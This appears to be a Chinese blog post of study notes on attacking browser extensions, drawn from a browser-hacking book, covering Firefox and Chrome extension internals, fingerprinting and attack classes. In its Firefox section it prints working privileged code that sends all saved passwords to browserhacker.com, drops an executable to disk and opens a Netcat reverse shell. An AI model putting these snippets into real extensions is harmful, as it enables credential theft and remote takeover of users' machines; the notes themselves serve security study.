攻击扩展

扩展的结构

扩展与插件

区别

  • 扩展存在于浏览器进程空间,插件可以独立执行
  • 扩展可以创建浏览器菜单和标签页,插件不可以
  • 扩展可以在浏览器打开的所有页面中生效,插件只影响加载它的页面
    • 加载的方法
      • 服务器返回特点的MIME类型
      • 使用(或)标签
扩展与附加程序

附加程序(add-on)可以理解为涵盖插件、扩展的一种外部程序。一般来说,附加程序指的是除浏览器及其插件之外的所有外部程序。

利用特权

每个提供的扩展环境都拥有访问浏览器功能的较高权限

浏览器的两个主要区域:

  • 低权限的互联网区域——无特权,收限于SOP,无权访问用户敏感数据和干扰操作系统
  • 较高权限的浏览器区域(chrome://区域)——扩展运行的区域,浏览器高度信任,有权访问敏感的用户信息和特权API,不受SOP限制。
    基本扩展结构
Firefox扩展
  • Firefox扩展是一个使用zip格式的压缩文件,使用.xpi后缀
  • 文件结构
    • Chrome:包含下层子目录
      • Content:包含主功能
      • Skin:包含图片和CSS
    • Defaults:包含偏好配置项
    • Components:包含XPCOM组件(可选)
    • install.rdf:包含安装和更新的细节
      • updateURL和updateKey——影响针对更新过程的攻击
  • XUL和XBL
    • XUL:Firefox浏览器中用于表示chrome中可见内容的语言。
    • XBL:把可见的内容和JavaScript连接起来
  • XPCOM API
    • XPCOM就是在浏览器中使用的跨平台组件模型
    • XPConnect:XPCOM和JavaScript之间的桥梁,通过XPConnect,JavaScript能够调用XPCOM的各种功能
    • 扩展可以使用运行在操作系统环境中的XPCOM组件
      • 利用登录管理器
        // 取得登录管理对象
         var l2m=Components.classes["@mozilla.org/loginmanager;1"].getService(Components.interfaces.nsILoginManager);
         // 从登录管理对象中取得所有凭据
         allCredentials = l2m.getAllLogins({});
         // 提取主机、用户名和密码
         for (i=0;i<=allCredentials.length;i=i+1){
         	var url = "http://browserhacker.com/";
         	url += "?host=" + encodeURI(allCredentials[i].hostname);
         	url += "&user=" + encodeURI(allCredentials[i].username);
         	url += "&password=" + encodeURI(allCredentials[i].password);
         	window.open(url);
         }
        
      • 读取文件系统
        SOP不适用于扩展中的URL
         var fileToRead="file:///C:/boot.ini";     \\读取c:\boot.ini文件
         var fileContents=document.ReadURL.readFile(fileToRead);
        
      • 写入文件系统
       function makeFile(bdata){
       	var workingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home", Components.interfaces.nsIFile);    
       	
       	var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
       	aFile.initWithPath( workingDir.path + "\\filename.exe" );
       	aFile.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777);
       	
       	var stream = Components.classes["@mozilla.org/network/safe-file-outputstream;1"].createInstance(Components.interfaces.nsIFileOutputStream);      //Firefox用来写入文件系统的XPCOM API是nsIFileOutputStream
       	stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0);
       	stream.write(bdata, bdata.length);
       	if (stream instanceof Components.interfaces.nsISafeOutputStream){
       		stream.finish();
       	} else {
       		stream.close();
       	}
       }
      
      • 执行操作系统命令
        以Netcat执行反向shell:
      var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
      var lPath = "/bin/nc";
      lFile.initWithPath(lPath);
      var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
      process.init(lFile);
      process.run(false,['-e', '/bin/bash', 'browserhacker.com', '12345'],4);
      
Chrome扩展

Chrome扩展结构

  • 组成
    • 包含一个清单文件(manifest file),以及由后台页面、UI页面及内容脚本构成的其他组件。
    • 使用.crx作为扩展文件名的后缀
  • 清单文件(manifest.json)
    *
  • 内容脚本
    内容脚本负责与加载到浏览器中的网页内容交互,Chrome扩展中的这个组件拥有直接访问DOM的权限,攻击面最大。
    • 特点
      • 内容脚本不能调用在网页源中定义的任何函数
      • 内容脚本只能访问扩展API,不能访问关联扩展页面中的变量和函数,不能访问其他内容脚本,不能对扩展所在页面发送跨域请求
      • 内容脚本与扩展的其他部分是隔离的,与安全边界之内的环境是隔离的
      • 可以对任何列在其清单文件中的来源,发起跨域XHR请求(XMLHttp-Request请求),与这些请求同时发送的,还有用户正在交互的Web应用所设置的cookie
  • UI页面
    UI页面指的是选项页、弹出层,或其他展示给用户的页面,就是构成扩展用户界面的HTML资源。运行在这些UI页面中的JavaScript拥有较高权限。
    • 特点
      • UI页面不能直接访问DOM,必须利用内容脚本才行
  • 后台页面
    后台页面(在使用过程中)可以视为扩展的核心,权限较高。
  • NPAPI插件
    NPAPI插件在Chrome沙箱外部运行,拥有用户权限。
  • 安全模型
    • 独立王国
      加载网页中的脚本与内容脚本相互隔离。
    • 匹配模式
      匹配模式用于限制扩展的XMLHttpRequest对象
    • 权限
      API相应的权限同样也在manifest.json文件中列出
    • 安全边界
      安全边界将内容脚本(及网页)与扩展的其他部分隔开。
  • 内容安全策略
    • 定义:manifest.json文件中的content_security_policy参数
    • 默认:script-src 'self'; object-src 'self'
      • 不允许外部加载脚本。
      • 不允许外部加载对象。
      • 不允许行内脚本。
      • 不允许eval()。

采集扩展指纹

HTTP首部

查看首部变化

  • 对比安装前后的头部信息
  • 查询扩展源代码
    • Chrome扩展查看流程
      • 检测manifest.json文件是否请求了webRequest权限
      • 查看chrome.webRequest.onBeforeSendHeader函数
      • 查看XMLHttpRequest.setRequestHeader函数
    • Firefox扩展
      • ,搜索setRequestHeader可以找到修改请求首部的位置
使用DOM采集
  • Firebug
    • 检测是否开启(全true则开启):!!window.console.clear、!!window.console.exception、!!window.console.table
    • 仅检测Firebug Lite:!!window.console.provider
使用清单文件
  • web_accessible_resources数组:manifest.json文件中用于列出可以通过URL访问的资源
  • GUID

攻击扩展

冒充扩展
跨上下文脚本攻击(XCS)

跨上下文脚本攻击(XCS)是一种从不受信任区域向受信任区域发送指令的扩展攻击方法。

中间人攻击

扩展中使用远程加载的数据,可能会为攻击者提供机会。

  • Firefox扩展
    • 相关函数
      • window.open()
      • window.opendialog()
      • nsIWindowWatcher()
      • XMLHTTPRequest()
绕过Web应用CSP

内容脚本根本不受CSP保护。

绕过同源策略

Chrome扩展的内容脚本可以读取跨域请求的响应,在发送跨域请求时,首部会包含与相应源关联的cookie。

普遍的XSS攻击

如果某个浏览器的扩展中存在一个XSS漏洞,那就有可能在浏览器加载的任意页面上被利用。

跨站点请求伪造(XSRF)

假设有一个扩展,在加载位于白名单中的UI页面时,会从GET请求中读取一个配置参数。加载完成后(包括提供了参数后),关键的配置数据就保存在LocalStorage中。

一个页面作为白名单文件,出现在了web_accessible_resources参数中,意味着任何网页都可以在一个<iframe>中包含它。加载这个包含定制URL的内嵌框架,会导致这个虚构扩展的LocalStorage对象中保存任意内容。

攻击DOM事件处理程序

Firefox中chrome://区域与不受信任区域间的通信,也可以通过DOM事件实现。

执行操作系统命令

Chrome扩展可以通过使用NPAPI,在文件系统中执行程序。

参考文献

《黑客攻防宝典——浏览器》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值